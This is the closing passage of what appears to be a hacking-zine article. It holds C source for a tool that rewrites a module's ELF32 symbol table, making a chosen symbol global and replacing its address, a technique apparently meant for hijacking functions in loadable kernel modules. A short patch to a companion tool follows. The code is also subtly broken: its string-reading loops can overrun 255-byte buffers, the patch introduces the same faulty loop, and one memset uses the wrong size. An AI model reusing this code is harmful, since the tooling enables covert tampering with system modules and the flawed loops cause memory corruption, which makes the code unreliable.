      if ( fseek(fd, sym_off, SEEK_SET) == -1 ) {

        perror("[-] fseek: ");
        exit(-1);
      }

      symtab.sh_info = new_index; // updating sh_info with the new index
                                  // in symbol table.

      if( fwrite(&symtab, sizeof(Elf32_Shdr), 1, fd) < 1 )  {

        perror("[-] fwrite: ");
        exit(-1);
      }

    } else {

      printf("[-] Already global function!\n");
    }

  } else if ( fflag == 1 && vflag == 1 ) {

      memset(&value, 0, sizeof(Elf32_Addr));
      memcpy(&value, &sym_value, sizeof(Elf32_Addr));

      printf("[+] Replacing 0x%.8x with 0x%.8x... ", sym.st_value, value);

      if (fseek (fd, symoffset+sizeof(Elf32_Word), SEEK_SET) == -1) {

        perror("[-] fseek: ");
        exit(-1);
      }

      if (fwrite (&value, sizeof(Elf32_Addr), 1, fd) < 1 )  {

        perror("[-] fwrite: ");
        exit(-1);
      }

      printf("done!\n");

      fclose (fd);
}

return 0;
}

/* This function returns the offset relative to the symbol name "name" */

Elf32_Off ElfGetSymbolByName(FILE *fd, Elf32_Shdr *symtab,
        Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) {

  unsigned int i;
  char symname[255];

  for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) {

    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
               SEEK_SET) == -1) {

      perror("\t[-] fseek: ");
      exit(-1);
    }

    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) {

      perror("\t[-] read: ");
      exit(-1);
    }

    memset (symname, 0, sizeof (symname));

    ElfGetSymbolName (fd, sym->st_name, strtab, symname, sizeof (symname));

    if (!strcmp (symname, name)) {

      printf("\t>> Symbol found at 0x%x\n",
                    symtab->sh_offset + (i * symtab->sh_entsize));

      printf("\t>> Index in symbol table: 0x%x\n", i);

      return symtab->sh_offset + (i * symtab->sh_entsize);
    }
  }

  return -1;
}

/* This function returns the new index of symbol "name" inside the symbol
 * table after re-ordering. */

unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab,
              Elf32_Shdr *strtab, char *name) {

  unsigned int i = 0, j = 0;
  char symname[255];
  Elf32_Sym *all;
  Elf32_Sym temp;
  unsigned long new_index = 0;
  unsigned long my_off = 0;

  printf("\t>> Starting:\n");

  all = (Elf32_Sym *) malloc(sizeof(Elf32_Sym) *
                      (symtab->sh_size/symtab->sh_entsize));

  if ( all == NULL ) {

    return -1;

  }

  memset(all, 0, symtab->sh_size/symtab->sh_entsize);

  my_off = symtab->sh_offset;

  for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) {

    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
							 SEEK_SET) == -1) {

      perror("\t[-] fseek: ");
      exit(-1);
    }

    if (fread (&all[i], sizeof (Elf32_Sym), 1, fd) < 1) {

      printf("\t[-] fread: ");
      exit(-1);
    }

    memset (symname, 0, sizeof (symname));

    ElfGetSymbolName(fd, all[i].st_name, strtab, symname, sizeof(symname));

    if (!strcmp (symname, name)) {

      j = i;

      continue;
    }
  }

  temp = all[j];

  for ( i = j; i < (symtab->sh_size/symtab->sh_entsize); i++ ) {

    if ( i+1 >= symtab->sh_size/symtab->sh_entsize )
      break;

    if ( ELF32_ST_BIND(all[i+1].st_info) == STB_LOCAL ) {

      printf("\t>> Moving symbol from %x to %x\n", i+1, i);

      all[i] = all[i+1];

    } else {

      new_index = i;

      printf("\t>> Moving our symbol from %d to %x\n", j, i);

      all[i] = temp;
      break;
    }
  }

  printf("\t>> Last LOCAL symbol: 0x%x\n", (unsigned int)new_index);

  if ( fseek (fd, my_off, SEEK_SET) == -1 ) {

      perror("\t[-] fseek: ");
      exit(-1);
  }

  if ( fwrite(all, sizeof( Elf32_Sym), symtab->sh_size/symtab->sh_entsize,
              fd) < (symtab->sh_size/symtab->sh_entsize )) {

      perror("\t[-] fwrite: ");
      exit(-1);
  }

  printf("\t>> Done!\n");

  free(all);

  return new_index;
}


int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
                          Elf32_Shdr *shdr) {

  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
             SEEK_SET) == -1) {

    perror("\t[-] fseek: ");
    exit(-1);
  }

  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {

    printf("\t[-] Sections header corrupted");
    exit(-1);
  }

  return 0;
}


int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
                         Elf32_Shdr *shdr) {

  int i;
  char name[255];
  Elf32_Shdr shstrtable;

  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);

  memset (name, 0, sizeof (name));

  for ( i = 0; i < ehdr->e_shnum; i++) {

    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
               SEEK_SET) == -1) {

      perror("\t[-] fseek: ");
      exit(-1);
    }

    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {

      printf("[-] Sections header corrupted");
      exit(-1);
    }

    ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
                       name, sizeof (name));

    if (!strcmp (name, section)) {

      return ehdr->e_shoff + (i * ehdr->e_shentsize);

    }
  }

  return -1;
}

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
                       Elf32_Shdr *shstrtable, char *res, size_t len) {

  size_t i = 0;

  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) {

    perror("\t[-] fseek: ");
    exit(-1);
  }

  while ( (i < len-1) || *res != '\0' ) {

    *res = fgetc (fd);
    i++;
    res++;

  }

  return 0;
}


void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
                       Elf32_Shdr *strtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) {

    perror("\t[-] fseek: ");
    exit(-1);
  }

  while ((i < len-1) || *res != '\0') {

    *res = fgetc (fd);
    i++;
    res++;

  }

  return;
}

void usage(char *cmd) {

  printf("Usage: %s <option(s)> <module_name>\n", cmd);
  printf("Option(s):\n");
  printf(" -g [symbol]\tSymbol we want to change the binding as global\n");
  printf("Or:\n");
  printf(" -s [symbol]\tSymbol we want to change the value (address)\n");
  printf(" -v [value] \tNew value (address) for symbol\n");

  return;
}


---[ 9.2 - elfstrchange.patch


@@ -9,6 +9,7 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <elf.h>
+#include <string.h>

 #define FATAL(X) { perror (X);exit (EXIT_FAILURE); }

@@ -160,7 +161,7 @@
   if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
     FATAL ("fseek");

-  while ((i < len) || *res == '\0')
+  while ((i < len-1) || *res != '\0')
   {
     *res = fgetc (fd);
     i++;
@@ -179,7 +180,7 @@
   if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
     FATAL ("fseek");

-  while ((i < len) || *res == '\0')
+  while ((i < len-1) || *res != '\0')
   {
     *res = fgetc (fd);
     i++;


---[ EOF
